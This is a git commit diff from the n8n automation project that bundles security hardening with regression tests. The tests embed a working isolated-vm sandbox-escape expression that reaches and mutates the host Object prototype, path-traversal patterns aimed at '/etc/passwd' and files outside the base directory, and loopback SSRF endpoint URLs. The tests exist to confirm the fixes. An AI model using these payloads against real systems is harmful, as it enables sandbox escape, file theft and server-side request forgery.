mirror of
https://github.com/n8n-io/n8n.git
synced 2026-10-17 05:29:44 +02:00
chore: Bundle/2.x (#34680)
Co-authored-by: Charlie Kolb <charlie@n8n.io> Co-authored-by: Guillaume Jacquart <jacquart.guillaume@gmail.com> Co-authored-by: Stephen Wright <sjw948@gmail.com> Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Co-authored-by: Bernhard Wittmann <bernhard.wittmann@n8n.io> Co-authored-by: Nikhil Kuriakose <nikhil.kuriakose@n8n.io> Co-authored-by: Albert Alises <albert.alises@gmail.com> Co-authored-by: Michael Kret <88898367+michael-radency@users.noreply.github.com> Co-authored-by: Andreas Fitzek <andreas.fitzek@n8n.io> Co-authored-by: Elias Meire <elias@meire.dev> Co-authored-by: Robin Braumann <50590409+bjorger@users.noreply.github.com> Co-authored-by: Cursor <cursoragent@cursor.com> Co-authored-by: yehorkardash <yehor.kardash@n8n.io> Co-authored-by: Mike Repeć <mike.repec@n8n.io> Co-authored-by: Yuliia Pominchuk <31064937+yuliia-pominchuk@users.noreply.github.com> Co-authored-by: RomanDavydchuk <roman.davydchuk@n8n.io>
This commit is contained in:
parent
69c86333b2
commit
2222fe3a6c
|
|
@ -218,7 +218,8 @@
|
|||
"@lezer/highlight": "patches/@lezer__highlight.patch",
|
||||
"v-code-diff": "patches/v-code-diff.patch",
|
||||
"vuedraggable@4.1.0": "patches/vuedraggable@4.1.0.patch",
|
||||
"assert@2.1.0": "patches/assert@2.1.0.patch"
|
||||
"assert@2.1.0": "patches/assert@2.1.0.patch",
|
||||
"lodash@4.18.1": "patches/lodash@4.18.1.patch"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -245,6 +245,32 @@ describe('getProxyAgent', () => {
|
|||
expect(Agent).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('secure lookup', () => {
|
||||
it('should build an Agent with the lookup on connect when no proxy is configured', () => {
|
||||
const lookup = vi.fn();
|
||||
|
||||
const agent = getProxyAgent('https://api.openai.com/v1', undefined, lookup);
|
||||
|
||||
expect(Agent).toHaveBeenCalledWith(expect.objectContaining({ connect: { lookup } }));
|
||||
expect(agent).toEqual(expect.objectContaining({ type: 'Agent' }));
|
||||
expect(ProxyAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should not attach the lookup to a ProxyAgent when a proxy is configured', () => {
|
||||
const proxyUrl = 'https://proxy.example.com:8080';
|
||||
process.env.HTTPS_PROXY = proxyUrl;
|
||||
const lookup = vi.fn();
|
||||
|
||||
getProxyAgent('https://api.openai.com/v1', undefined, lookup);
|
||||
|
||||
expect(ProxyAgent).toHaveBeenCalledWith(expect.objectContaining({ uri: proxyUrl }));
|
||||
expect(ProxyAgent).not.toHaveBeenCalledWith(
|
||||
expect.objectContaining({ connect: expect.anything() }),
|
||||
);
|
||||
expect(Agent).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('proxyFetch', () => {
|
||||
|
|
|
|||
|
|
@ -18,6 +18,7 @@
|
|||
* raw dispatcher). See CAT-3377 for the consolidation this completes.
|
||||
*/
|
||||
import { createHttpsProxyAgent, resolveProxyUrl } from '@n8n/backend-network/proxy'; // `@n8n/backend-network/proxy` is a DI-free subpath: it pulls in only the proxy-agent libs
|
||||
import type { LookupFunction } from 'node:net';
|
||||
/* eslint-disable n8n-local-rules/no-uncentralized-http -- langchain consumers pin undici v6, incompatible with backend-network's v7 dispatchers; see block comment below */
|
||||
import { Agent, ProxyAgent } from 'undici';
|
||||
|
||||
|
|
@ -49,15 +50,21 @@ const PROXY_FALLBACK_TARGET = 'https://example.nonexistent/';
|
|||
* @param targetUrl - The target URL to check proxy configuration for (optional)
|
||||
* @param timeoutOptions - Optional timeout configuration to override defaults. When provided,
|
||||
* always returns an Agent/ProxyAgent (even without proxy) to ensure timeouts are applied.
|
||||
* @returns An Agent (no proxy with timeout options) or ProxyAgent (with proxy) configured with timeouts,
|
||||
* or undefined if no proxy is configured and no timeout options are provided (backward compatible behavior).
|
||||
* @param lookup - Optional DNS lookup to pin the resolved address at connect time (e.g. an egress
|
||||
* filter's secure lookup). When provided (without a proxy) an Agent is always returned.
|
||||
* @returns An Agent (no proxy with timeout options or a lookup) or ProxyAgent (with proxy) configured with timeouts,
|
||||
* or undefined if no proxy, timeout options, nor lookup are provided (backward compatible behavior).
|
||||
*
|
||||
* @remarks
|
||||
* When timeoutOptions are provided, this function always returns an agent to ensure timeouts are properly configured.
|
||||
* The default undici timeouts (5 minutes) are too short for many AI operations.
|
||||
* When timeoutOptions are NOT provided, returns undefined if no proxy is configured (backward compatible).
|
||||
*/
|
||||
export function getProxyAgent(targetUrl?: string, timeoutOptions?: AgentTimeoutOptions) {
|
||||
export function getProxyAgent(
|
||||
targetUrl?: string,
|
||||
timeoutOptions?: AgentTimeoutOptions,
|
||||
lookup?: LookupFunction,
|
||||
) {
|
||||
const proxyUrl = resolveProxyUrl(targetUrl, PROXY_FALLBACK_TARGET);
|
||||
|
||||
const agentOptions = {
|
||||
|
|
@ -69,6 +76,9 @@ export function getProxyAgent(targetUrl?: string, timeoutOptions?: AgentTimeoutO
|
|||
};
|
||||
|
||||
if (!proxyUrl) {
|
||||
if (lookup) {
|
||||
return new Agent({ ...agentOptions, connect: { lookup } });
|
||||
}
|
||||
if (timeoutOptions) {
|
||||
return new Agent(agentOptions);
|
||||
}
|
||||
|
|
@ -85,14 +95,16 @@ export function getProxyAgent(targetUrl?: string, timeoutOptions?: AgentTimeoutO
|
|||
* @param input - The URL to fetch
|
||||
* @param init - Standard fetch RequestInit options
|
||||
* @param timeoutOptions - Optional timeout configuration to override defaults
|
||||
* @param lookup - Optional connect-time DNS lookup (e.g. an egress filter's secure lookup)
|
||||
*/
|
||||
export async function proxyFetch(
|
||||
input: RequestInfo | URL,
|
||||
init?: RequestInit,
|
||||
timeoutOptions?: AgentTimeoutOptions,
|
||||
lookup?: LookupFunction,
|
||||
): Promise<Response> {
|
||||
const targetUrl = input instanceof Request ? input.url : input.toString();
|
||||
const dispatcher = getProxyAgent(targetUrl, timeoutOptions);
|
||||
const dispatcher = getProxyAgent(targetUrl, timeoutOptions, lookup);
|
||||
|
||||
return await fetch(input, {
|
||||
...init,
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
import fastGlob from 'fast-glob';
|
||||
import * as fs from 'node:fs/promises';
|
||||
import * as os from 'node:os';
|
||||
import * as path from 'node:path';
|
||||
|
|
@ -5,6 +6,11 @@ import * as path from 'node:path';
|
|||
import { textOf } from '../test-utils';
|
||||
import { searchFilesTool } from './search-files';
|
||||
|
||||
vi.mock('fast-glob', async (importOriginal) => {
|
||||
const actual = await importOriginal<{ default: typeof fastGlob }>();
|
||||
return { default: vi.fn(actual.default) };
|
||||
});
|
||||
|
||||
type FileMatch = { path: string };
|
||||
type ContentMatch = { path: string; lineNumber: number; line: string };
|
||||
|
||||
|
|
@ -252,6 +258,10 @@ describe('searchFilesTool', () => {
|
|||
});
|
||||
|
||||
describe('execute — security', () => {
|
||||
afterEach(() => {
|
||||
vi.mocked(fastGlob).mockClear();
|
||||
});
|
||||
|
||||
it.each(['/etc/passwd', '../../etc/passwd', '../../../etc/**'])(
|
||||
'rejects pattern that escapes the base directory: %s',
|
||||
async (pattern) => {
|
||||
|
|
@ -260,6 +270,73 @@ describe('searchFilesTool', () => {
|
|||
);
|
||||
},
|
||||
);
|
||||
|
||||
it('drops matches that resolve outside the base even when the pattern passes', async () => {
|
||||
// The pattern contains no literal `..`, but glob expansion produces a match
|
||||
// that resolves outside the base directory.
|
||||
vi.mocked(fastGlob).mockResolvedValueOnce(['../SECRET.txt']);
|
||||
|
||||
const result = await searchFilesTool.execute({ name: '{a,..}/SECRET.txt' }, context);
|
||||
const data = parseResult<NameOnlyResult>(result);
|
||||
|
||||
expect(data.matches).toEqual([]);
|
||||
expect(data.totalMatches).toBe(0);
|
||||
});
|
||||
|
||||
it('does not read the contents of a match that resolves outside the base', async () => {
|
||||
// `query` is set, so a match that slipped through would be read and returned.
|
||||
vi.mocked(fastGlob).mockResolvedValueOnce(['../SECRET.txt']);
|
||||
|
||||
const result = await searchFilesTool.execute(
|
||||
{ name: '{a,..}/SECRET.txt', query: 'SECRET' },
|
||||
context,
|
||||
);
|
||||
const data = parseResult<ContentResult>(result);
|
||||
|
||||
expect(data.matches).toEqual([]);
|
||||
expect(data.totalMatches).toBe(0);
|
||||
});
|
||||
|
||||
it('keeps in-base matches while dropping ones outside the base', async () => {
|
||||
await writeFile(baseDir, 'inside.txt', 'value');
|
||||
// Glob expansion can yield both an in-base and an out-of-base match.
|
||||
vi.mocked(fastGlob).mockResolvedValueOnce(['inside.txt', '../SECRET.txt']);
|
||||
|
||||
const result = await searchFilesTool.execute({ name: '{.,..}/inside.txt' }, context);
|
||||
const data = parseResult<NameOnlyResult>(result);
|
||||
|
||||
expect(data.matches).toEqual([{ path: 'inside.txt' }]);
|
||||
expect(data.totalMatches).toBe(1);
|
||||
});
|
||||
|
||||
it('does not return a file that lives outside the base directory', async () => {
|
||||
// The target file sits one level above the sandbox base.
|
||||
const outerDir = await fs.mkdtemp(path.join(os.tmpdir(), 'search-files-outer-'));
|
||||
const sandbox = path.join(outerDir, 'sandbox');
|
||||
await fs.mkdir(sandbox);
|
||||
await fs.writeFile(path.join(outerDir, 'SECRET.txt'), 'SECRET=topsecret');
|
||||
|
||||
// The tool either rejects the pattern or, on glob versions that expand it
|
||||
// differently, returns no match — never the outside file's content.
|
||||
const runSearch = async (): Promise<string> => {
|
||||
try {
|
||||
const result = await searchFilesTool.execute(
|
||||
{ name: '{a,..}/SECRET.txt', query: 'SECRET' },
|
||||
{ dir: sandbox },
|
||||
);
|
||||
return textOf(result);
|
||||
} catch (error) {
|
||||
expect(String(error)).toContain('escapes the base directory');
|
||||
return '';
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
expect(await runSearch()).not.toContain('topsecret');
|
||||
} finally {
|
||||
await fs.rm(outerDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('CallToolResult shape', () => {
|
||||
|
|
|
|||
|
|
@ -1,6 +1,5 @@
|
|||
import fastGlob from 'fast-glob';
|
||||
import * as fs from 'node:fs/promises';
|
||||
import * as path from 'node:path';
|
||||
import { z } from 'zod';
|
||||
|
||||
import type { ToolDefinition } from '../types';
|
||||
|
|
@ -62,7 +61,7 @@ export const searchFilesTool: ToolDefinition<typeof inputSchema> = {
|
|||
const resolvedDir = await resolveReadablePath(dir, '.');
|
||||
const limit = maxResults ?? 50;
|
||||
|
||||
const files = await fastGlob(name, {
|
||||
const globbed = await fastGlob(name, {
|
||||
cwd: resolvedDir,
|
||||
ignore: IGNORE_PATTERNS,
|
||||
onlyFiles: true,
|
||||
|
|
@ -70,63 +69,77 @@ export const searchFilesTool: ToolDefinition<typeof inputSchema> = {
|
|||
suppressErrors: true,
|
||||
});
|
||||
|
||||
// The literal-pattern check above cannot see paths produced by glob expansion,
|
||||
// so re-resolve every match through the shared resolver, which re-checks
|
||||
// containment (following symlinks safely) and drops anything outside the base.
|
||||
const resolved = await Promise.all(
|
||||
globbed.map(async (path) => {
|
||||
const absolutePath = await resolveReadablePath(dir, path).catch(() => null);
|
||||
return absolutePath ? { path, absolutePath } : null;
|
||||
}),
|
||||
);
|
||||
const files = resolved.filter((file): file is ResolvedFile => file !== null);
|
||||
|
||||
if (!query) {
|
||||
const matches = files.slice(0, limit).map((p) => ({ path: p }));
|
||||
return formatCallToolResult({
|
||||
name,
|
||||
matches,
|
||||
matches: files.slice(0, limit).map(({ path }) => ({ path })),
|
||||
truncated: files.length > limit,
|
||||
totalMatches: files.length,
|
||||
});
|
||||
}
|
||||
|
||||
const regex = new RegExp(escapeRegex(query), ignoreCase ? 'gi' : 'g');
|
||||
const matches: Array<{ path: string; lineNumber: number; line: string }> = [];
|
||||
let totalMatches = 0;
|
||||
|
||||
for (const fp of files) {
|
||||
if (matches.length >= limit) break;
|
||||
|
||||
try {
|
||||
const fullPath = path.join(resolvedDir, fp);
|
||||
const stat = await fs.stat(fullPath);
|
||||
if (stat.size > MAX_FILE_SIZE) continue;
|
||||
|
||||
const fileContent = await fs.readFile(fullPath);
|
||||
const buffer = Buffer.isBuffer(fileContent) ? fileContent : Buffer.from(fileContent);
|
||||
if (isLikelyBinaryContent(buffer)) continue;
|
||||
|
||||
const lines = buffer.toString('utf-8').split('\n');
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
if (regex.test(lines[i])) {
|
||||
totalMatches++;
|
||||
if (matches.length < limit) {
|
||||
matches.push({ path: fp, lineNumber: i + 1, line: lines[i].substring(0, 200) });
|
||||
}
|
||||
}
|
||||
regex.lastIndex = 0;
|
||||
}
|
||||
} catch {
|
||||
// Skip unreadable files
|
||||
}
|
||||
}
|
||||
const regex = new RegExp(escapeRegex(query), ignoreCase ? 'i' : '');
|
||||
const matches = await Promise.all(files.map(async (file) => await grepFile(file, regex))).then(
|
||||
(results) => results.flat(),
|
||||
);
|
||||
|
||||
return formatCallToolResult({
|
||||
name,
|
||||
query,
|
||||
matches,
|
||||
truncated: totalMatches > limit,
|
||||
totalMatches,
|
||||
matches: matches.slice(0, limit),
|
||||
truncated: matches.length > limit,
|
||||
totalMatches: matches.length,
|
||||
});
|
||||
},
|
||||
};
|
||||
|
||||
interface ResolvedFile {
|
||||
path: string;
|
||||
absolutePath: string;
|
||||
}
|
||||
|
||||
function assertPatternStaysInside(pattern: string): void {
|
||||
if (pattern.startsWith('/') || pattern.split('/').includes('..')) {
|
||||
throw new Error(`Pattern "${pattern}" escapes the base directory`);
|
||||
}
|
||||
}
|
||||
|
||||
async function grepFile(
|
||||
file: ResolvedFile,
|
||||
regex: RegExp,
|
||||
): Promise<Array<{ path: string; lineNumber: number; line: string }>> {
|
||||
try {
|
||||
const stat = await fs.stat(file.absolutePath);
|
||||
if (stat.size > MAX_FILE_SIZE) return [];
|
||||
|
||||
const buffer = await fs.readFile(file.absolutePath);
|
||||
if (isLikelyBinaryContent(buffer)) return [];
|
||||
|
||||
const lines = buffer.toString('utf-8').split('\n');
|
||||
const hits: Array<{ path: string; lineNumber: number; line: string }> = [];
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
if (regex.test(lines[i])) {
|
||||
hits.push({ path: file.path, lineNumber: i + 1, line: lines[i].substring(0, 200) });
|
||||
}
|
||||
}
|
||||
return hits;
|
||||
} catch {
|
||||
// Unreadable file
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
function escapeRegex(str: string): string {
|
||||
return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
}
|
||||
|
|
|
|||
|
|
@ -377,6 +377,72 @@ describe('Integration: ExpressionEvaluator + IsolatedVmBridge', () => {
|
|||
expect(result).toBe('name,age,city');
|
||||
});
|
||||
|
||||
it('should not leak host references through non-index array access', () => {
|
||||
// Reading a non-index key like $json.a.constructor must return undefined,
|
||||
// so a guest can't walk from an array to the host Object prototype.
|
||||
const data = { $json: { a: [1337] } };
|
||||
const expression = `{{
|
||||
(function() {
|
||||
const hostLookupParams = (() => eval)()(\`(args, res) => {
|
||||
const _copy = {copy: true};
|
||||
const _reference = {reference: true};
|
||||
const params = {};
|
||||
params.arguments = args === 'copy' ? _copy : _reference;
|
||||
params.result = res === 'copy' ? _copy : _reference;
|
||||
return params;
|
||||
}\`);
|
||||
const refs = (() => eval)()(\`
|
||||
(function () { return arguments.callee.caller.caller.caller.arguments })()
|
||||
\`);
|
||||
const getArrayElement = refs[1];
|
||||
|
||||
var log = [];
|
||||
|
||||
function t(label, fn) {
|
||||
try {
|
||||
const result = fn();
|
||||
log.push(label + '=' + result);
|
||||
return result;
|
||||
} catch (e) {
|
||||
log.push(label + ':ERR ' + String(e && e.message ? e.message : e));
|
||||
}
|
||||
}
|
||||
|
||||
const hostArrayPath = ['$json', 'a'];
|
||||
const HostArray = t('host array', function() {
|
||||
return getArrayElement.applySync(null, [hostArrayPath, 'constructor'], hostLookupParams('copy', 'reference'));
|
||||
});
|
||||
const HostLookupGetter = t('host lookup getter', function() {
|
||||
return getArrayElement.applySync(null, [hostArrayPath, '__lookupGetter__'], hostLookupParams('copy', 'reference'));
|
||||
});
|
||||
const hostArrayInstance = t('host array instance', function() {
|
||||
return HostArray.applySync(null, [1], hostLookupParams('copy', 'reference'));
|
||||
});
|
||||
const HostProtoGetter = t('host __proto__ getter', function() {
|
||||
return HostLookupGetter.applySync(hostArrayInstance.derefInto(), ['__proto__'], hostLookupParams('copy', 'reference'));
|
||||
});
|
||||
const arrProto = t('host Array prototype', function() {
|
||||
return HostProtoGetter.applySync(hostArrayInstance.derefInto(), [], hostLookupParams('copy', 'reference'));
|
||||
});
|
||||
const objProto = t('host Object prototype', function() {
|
||||
return HostProtoGetter.applySync(arrProto.derefInto(), [], hostLookupParams('copy', 'reference'));
|
||||
});
|
||||
|
||||
objProto.setSync('win', 1337);
|
||||
return log;
|
||||
})();
|
||||
}}`;
|
||||
|
||||
try {
|
||||
// The bridge swallows the TypeError; what matters is the host Object
|
||||
// prototype was never mutated.
|
||||
evaluator.evaluate(expression, data, caller);
|
||||
expect((Object.prototype as Record<string, unknown>).win).toBeUndefined();
|
||||
} finally {
|
||||
delete (Object.prototype as Record<string, unknown>).win;
|
||||
}
|
||||
});
|
||||
|
||||
it('should preserve error name, message, and custom properties across isolate boundary', () => {
|
||||
const data = { $json: {} };
|
||||
|
||||
|
|
|
|||
|
|
@ -400,8 +400,21 @@ export class IsolatedVmBridge implements RuntimeBridge {
|
|||
return undefined;
|
||||
}
|
||||
|
||||
// Only genuine array indices are reachable; anything else (e.g.
|
||||
// 'constructor', '__lookupGetter__') would read off the prototype
|
||||
// chain and could leak a host function reference across the boundary.
|
||||
if (!Number.isInteger(index) || index < 0) {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const element = arr[index];
|
||||
|
||||
// Functions are never reachable through the data surface — mirror the
|
||||
// guard in getValueAtPath so a host callable can't cross the boundary.
|
||||
if (typeof element === 'function') {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
// Dates have no enumerable own keys; pass through instead of
|
||||
// marshaling as an empty object.
|
||||
if (element instanceof Date) {
|
||||
|
|
|
|||
|
|
@ -2,6 +2,7 @@ import type { InferenceProviderOrPolicy } from '@huggingface/inference';
|
|||
import { PROVIDERS_OR_POLICIES } from '@huggingface/inference';
|
||||
import { HuggingFaceInferenceEmbeddings } from '@langchain/community/embeddings/hf';
|
||||
import {
|
||||
assertCredentialAllowsUrl,
|
||||
NodeConnectionTypes,
|
||||
NodeOperationError,
|
||||
type INodeType,
|
||||
|
|
@ -104,6 +105,18 @@ export class EmbeddingsHuggingFaceInference implements INodeType {
|
|||
throw new NodeOperationError(this.getNode(), 'Unsupported provider');
|
||||
}
|
||||
|
||||
if (
|
||||
'endpointUrl' in options &&
|
||||
typeof options.endpointUrl === 'string' &&
|
||||
options.endpointUrl
|
||||
) {
|
||||
assertCredentialAllowsUrl({
|
||||
node: this.getNode(),
|
||||
credentialData: credentials,
|
||||
url: options.endpointUrl,
|
||||
});
|
||||
}
|
||||
|
||||
const embeddings = new HuggingFaceInferenceEmbeddings({
|
||||
apiKey: credentials.apiKey as string,
|
||||
model,
|
||||
|
|
|
|||
|
|
@ -0,0 +1,72 @@
|
|||
import { HuggingFaceInferenceEmbeddings } from '@langchain/community/embeddings/hf';
|
||||
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
||||
import type { INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||
import type { Mocked } from 'vitest';
|
||||
|
||||
import { EmbeddingsHuggingFaceInference } from '../EmbeddingsHuggingFaceInference/EmbeddingsHuggingFaceInference.node';
|
||||
|
||||
vi.mock('@huggingface/inference', () => ({ PROVIDERS_OR_POLICIES: ['auto'] }));
|
||||
vi.mock('@langchain/community/embeddings/hf');
|
||||
vi.mock('@n8n/ai-utilities');
|
||||
|
||||
describe('EmbeddingsHuggingFaceInference', () => {
|
||||
let node: EmbeddingsHuggingFaceInference;
|
||||
|
||||
const mockNode: INode = {
|
||||
id: '1',
|
||||
name: 'Embeddings HuggingFace Inference',
|
||||
typeVersion: 1,
|
||||
type: 'n8n-nodes-langchain.embeddingsHuggingFaceInference',
|
||||
position: [0, 0],
|
||||
parameters: {},
|
||||
};
|
||||
|
||||
const setup = (credentials: Record<string, unknown>, options: Record<string, unknown>) => {
|
||||
const ctx = createMockExecuteFunction<ISupplyDataFunctions>(
|
||||
{},
|
||||
mockNode,
|
||||
) as Mocked<ISupplyDataFunctions>;
|
||||
ctx.getCredentials = vi.fn().mockResolvedValue(credentials);
|
||||
ctx.getNode = vi.fn().mockReturnValue(mockNode);
|
||||
ctx.logger = { debug: vi.fn() } as unknown as ISupplyDataFunctions['logger'];
|
||||
ctx.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||
if (paramName === 'modelName') return 'sentence-transformers/distilbert-base-nli-mean-tokens';
|
||||
if (paramName === 'options') return options;
|
||||
return undefined;
|
||||
});
|
||||
return ctx;
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
node = new EmbeddingsHuggingFaceInference();
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it('should reject a custom endpoint URL the credential domain restriction disallows', async () => {
|
||||
const ctx = setup(
|
||||
{
|
||||
apiKey: 'k',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api-inference.huggingface.co',
|
||||
},
|
||||
{ endpointUrl: 'http://127.0.0.1:9099' },
|
||||
);
|
||||
|
||||
await expect(node.supplyData.call(ctx, 0)).rejects.toThrow('Domain not allowed');
|
||||
expect(HuggingFaceInferenceEmbeddings).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should allow a custom endpoint URL the credential domain restriction permits', async () => {
|
||||
const ctx = setup(
|
||||
{
|
||||
apiKey: 'k',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'my-endpoint.example.com',
|
||||
},
|
||||
{ endpointUrl: 'https://my-endpoint.example.com' },
|
||||
);
|
||||
|
||||
await node.supplyData.call(ctx, 0);
|
||||
expect(HuggingFaceInferenceEmbeddings).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
|
@ -1,6 +1,6 @@
|
|||
import { OpenAI, type ClientOptions } from '@langchain/openai';
|
||||
import { getProxyAgent, makeN8nLlmFailedAttemptHandler, N8nLlmTracing } from '@n8n/ai-utilities';
|
||||
import { NodeConnectionTypes } from 'n8n-workflow';
|
||||
import { assertCredentialAllowsUrl, NodeConnectionTypes } from 'n8n-workflow';
|
||||
import type {
|
||||
INodeType,
|
||||
INodeTypeDescription,
|
||||
|
|
@ -207,8 +207,17 @@ export class LmOpenAi implements INodeType {
|
|||
const options = this.getNodeParameter('options', {}) as LmOpenAiOptions;
|
||||
|
||||
let uri = 'https://api.openai.com/v1/models';
|
||||
let allowedDomains: string | undefined;
|
||||
|
||||
if (options.baseURL) {
|
||||
const credentials = await this.getCredentials('openAiApi');
|
||||
allowedDomains = assertCredentialAllowsUrl({
|
||||
node: this.getNode(),
|
||||
credentialData: credentials,
|
||||
url: options.baseURL,
|
||||
pinnedUrl: typeof credentials.url === 'string' ? credentials.url : undefined,
|
||||
surface: 'OpenAI',
|
||||
});
|
||||
uri = `${options.baseURL}/models`;
|
||||
}
|
||||
|
||||
|
|
@ -216,6 +225,7 @@ export class LmOpenAi implements INodeType {
|
|||
method: 'GET',
|
||||
uri,
|
||||
json: true,
|
||||
allowedDomains,
|
||||
})) as { data: Array<{ owned_by: string; id: string }> };
|
||||
|
||||
for (const model of data) {
|
||||
|
|
@ -264,6 +274,13 @@ export class LmOpenAi implements INodeType {
|
|||
};
|
||||
|
||||
if (options.baseURL) {
|
||||
assertCredentialAllowsUrl({
|
||||
node: this.getNode(),
|
||||
credentialData: credentials,
|
||||
url: options.baseURL,
|
||||
pinnedUrl: typeof credentials.url === 'string' ? credentials.url : undefined,
|
||||
surface: 'OpenAI',
|
||||
});
|
||||
configuration.baseURL = options.baseURL;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,5 +1,6 @@
|
|||
import { HuggingFaceInference } from '@langchain/community/llms/hf';
|
||||
import {
|
||||
assertCredentialAllowsUrl,
|
||||
NodeConnectionTypes,
|
||||
type INodeType,
|
||||
type INodeTypeDescription,
|
||||
|
|
@ -138,7 +139,15 @@ export class LmOpenHuggingFaceInference implements INodeType {
|
|||
const credentials = await this.getCredentials('huggingFaceApi');
|
||||
|
||||
const modelName = this.getNodeParameter('model', itemIndex) as string;
|
||||
const options = this.getNodeParameter('options', itemIndex, {}) as object;
|
||||
const options = this.getNodeParameter('options', itemIndex, {}) as { endpointUrl?: string };
|
||||
|
||||
if (options.endpointUrl) {
|
||||
assertCredentialAllowsUrl({
|
||||
node: this.getNode(),
|
||||
credentialData: credentials,
|
||||
url: options.endpointUrl,
|
||||
});
|
||||
}
|
||||
|
||||
// LangChain does not yet support specifying Provider
|
||||
// That's why mistral's model is the default value
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
import { OpenAI } from '@langchain/openai';
|
||||
import { makeN8nLlmFailedAttemptHandler, N8nLlmTracing, getProxyAgent } from '@n8n/ai-utilities';
|
||||
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
||||
import type { INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||
import type { ILoadOptionsFunctions, INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||
import type { Mocked } from 'vitest';
|
||||
|
||||
import { LmOpenAi } from '../LMOpenAi/LmOpenAi.node';
|
||||
|
|
@ -91,5 +91,102 @@ describe('LmOpenAi', () => {
|
|||
redactedHeaders: ['x-custom-header'],
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject a baseURL override that the credential domain restriction disallows', async () => {
|
||||
const mockContext = setupMockContext({
|
||||
apiKey: 'test-api-key',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.openai.com',
|
||||
});
|
||||
mockContext.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||
if (paramName === 'model') return 'gpt-3.5-turbo-instruct';
|
||||
if (paramName === 'options') return { baseURL: 'http://127.0.0.1:9099/v1' };
|
||||
return undefined;
|
||||
});
|
||||
|
||||
await expect(lmOpenAi.supplyData.call(mockContext, 0)).rejects.toThrow('Domain not allowed');
|
||||
expect(OpenAI).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should allow a baseURL override that the credential domain restriction permits', async () => {
|
||||
const mockContext = setupMockContext({
|
||||
apiKey: 'test-api-key',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.openai.com',
|
||||
});
|
||||
mockContext.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||
if (paramName === 'model') return 'gpt-3.5-turbo-instruct';
|
||||
if (paramName === 'options') return { baseURL: 'https://api.openai.com/v1' };
|
||||
return undefined;
|
||||
});
|
||||
|
||||
await lmOpenAi.supplyData.call(mockContext, 0);
|
||||
expect(OpenAI).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('openAiModelSearch', () => {
|
||||
const setupMockLoadContext = (
|
||||
credentials: Record<string, unknown>,
|
||||
options: Record<string, unknown>,
|
||||
) => {
|
||||
const requestWithAuthentication = vi.fn().mockResolvedValue({ data: [] });
|
||||
|
||||
return {
|
||||
getCredentials: vi.fn().mockResolvedValue(credentials),
|
||||
getNode: vi.fn().mockReturnValue(mockNode),
|
||||
getNodeParameter: vi.fn().mockImplementation((paramName: string) => {
|
||||
if (paramName === 'options') return options;
|
||||
return undefined;
|
||||
}),
|
||||
helpers: {
|
||||
requestWithAuthentication,
|
||||
},
|
||||
} as unknown as Mocked<ILoadOptionsFunctions> & {
|
||||
helpers: { requestWithAuthentication: typeof requestWithAuthentication };
|
||||
};
|
||||
};
|
||||
|
||||
it('should not send credentials to a domain the credential restricts', async () => {
|
||||
const mockLoadContext = setupMockLoadContext(
|
||||
{
|
||||
apiKey: 'test-api-key',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.openai.com',
|
||||
},
|
||||
{ baseURL: 'http://127.0.0.1:9099/v1' },
|
||||
);
|
||||
|
||||
await expect(
|
||||
lmOpenAi.methods.listSearch.openAiModelSearch.call(mockLoadContext),
|
||||
).rejects.toThrow('Domain not allowed');
|
||||
expect(mockLoadContext.helpers.requestWithAuthentication).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should forward the allowed domains to the request when the base URL is on the allowlist', async () => {
|
||||
const mockLoadContext = setupMockLoadContext(
|
||||
{
|
||||
apiKey: 'test-api-key',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.openai.com',
|
||||
},
|
||||
{ baseURL: 'https://api.openai.com/v1' },
|
||||
);
|
||||
mockLoadContext.helpers.requestWithAuthentication.mockResolvedValue({
|
||||
data: [{ id: 'gpt-4', owned_by: 'system' }],
|
||||
});
|
||||
|
||||
await expect(
|
||||
lmOpenAi.methods.listSearch.openAiModelSearch.call(mockLoadContext),
|
||||
).resolves.toBeDefined();
|
||||
|
||||
expect(mockLoadContext.helpers.requestWithAuthentication).toHaveBeenCalledWith(
|
||||
'openAiApi',
|
||||
expect.objectContaining({
|
||||
uri: 'https://api.openai.com/v1/models',
|
||||
allowedDomains: 'api.openai.com',
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -0,0 +1,71 @@
|
